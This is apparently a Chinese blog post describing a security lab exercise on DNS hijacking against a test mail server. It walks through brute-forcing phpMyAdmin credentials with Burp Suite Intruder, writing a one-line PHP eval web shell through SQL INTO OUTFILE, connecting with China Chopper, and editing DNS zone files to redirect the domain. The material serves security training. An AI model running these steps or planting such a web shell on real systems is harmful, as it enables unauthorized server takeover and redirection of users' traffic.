域名劫持原理与实践

  实验中提供了一台邮件服务器,该服务器同时提供DNS服务,测试者通过入侵到该服务器,修改DNS服务中的正向解析与反向解析文件实现劫持。

首先我们打开 http://mail.test.com,看到一个邮件登录入口。

 

 

先使用burpsuite对该站点进行目录扫描。

  配置好IE代理,截取数据包。

  右键send to spider。

 

 在地址栏添加phpmyadmin

 

 接下来对phpmyadmin进行暴力破解,随便输入一个用户名和密码,比如此处我输入:用户名:root 密码:123,页面提示错误,然后查看burpsuite截获到的数据包。

找到Authorization,选中Basic后边的字符串,进行如下步骤:右键convert selection->base64->base64-decode。

 

 右键send to intruder,在Positions选项卡下单击clear$。

选中root:123,单击add$。

 切换到payloads选项卡下,设置payload type,在add处添加用户名,separator for position1 处添加一个冒号。

 加载桌面上一个密码字典pass.txt

配置payload processing

去掉payload encoding中的对号

 

 单击intruder下的start attack,一段时间后,发现了一个length和其他的不同

 

 复制字符串,粘贴在decoder下,选择decode as base64,可以看到用户名密码为root:1234567890,登录。

 

 接下来需要知道网站的路径是什么,一般网站搭建好后都会存在info.php,phpinfo.php,php_info.php等测试文件,一一访问下,发现存在phpinfo.php文件,并得知网站目录为C:/xampp/xampp/htdocs。此时需要通过phpmyadmin拿这个站点的shell,选择SQL,输入如下命令,点击执行:

use mysql;   //使用Mysql数据库

Create TABLE heetian (heetian1 text NOT NULL);   //创建heetian表,heetian1字段

Insert INTO heetian(heetian1) VALUES('<?php @eval($_POST[pass]);?>');   //在heetian表中的heetian1字段中添加值为一句话

select heetian1 from heetian into outfile 'C:/xampp/xampp/htdocs/test.php';   //使用Mysql中outfile函数将其导出到test.php

Drop TABLE IF EXISTS heetian;   //删除heetian表

 

 执行成功,访问下http://mail.test.com/test.php。发现返回空白页面,接下来用中国菜刀连接一下。

接下来我们需要对这台服务器进行域名劫持,将其劫持到一台IP为10.1.1.253的主机上,找到C:\WINDOWS\system32\dns\etc中的test.com.zone和10.1.1.zone。

分别对这两个文件进行编辑,保存。

 

 

 

 重启下dns服务,输入命令:net stop named和net start named,回车。

刷新 http://mail.test.com,发现劫持成功。页面会显示为:“欢迎来到合天网安实验室!”

 

 

 

posted @ 2021-11-09 21:01  mhz6  阅读(100)  评论(0)    收藏  举报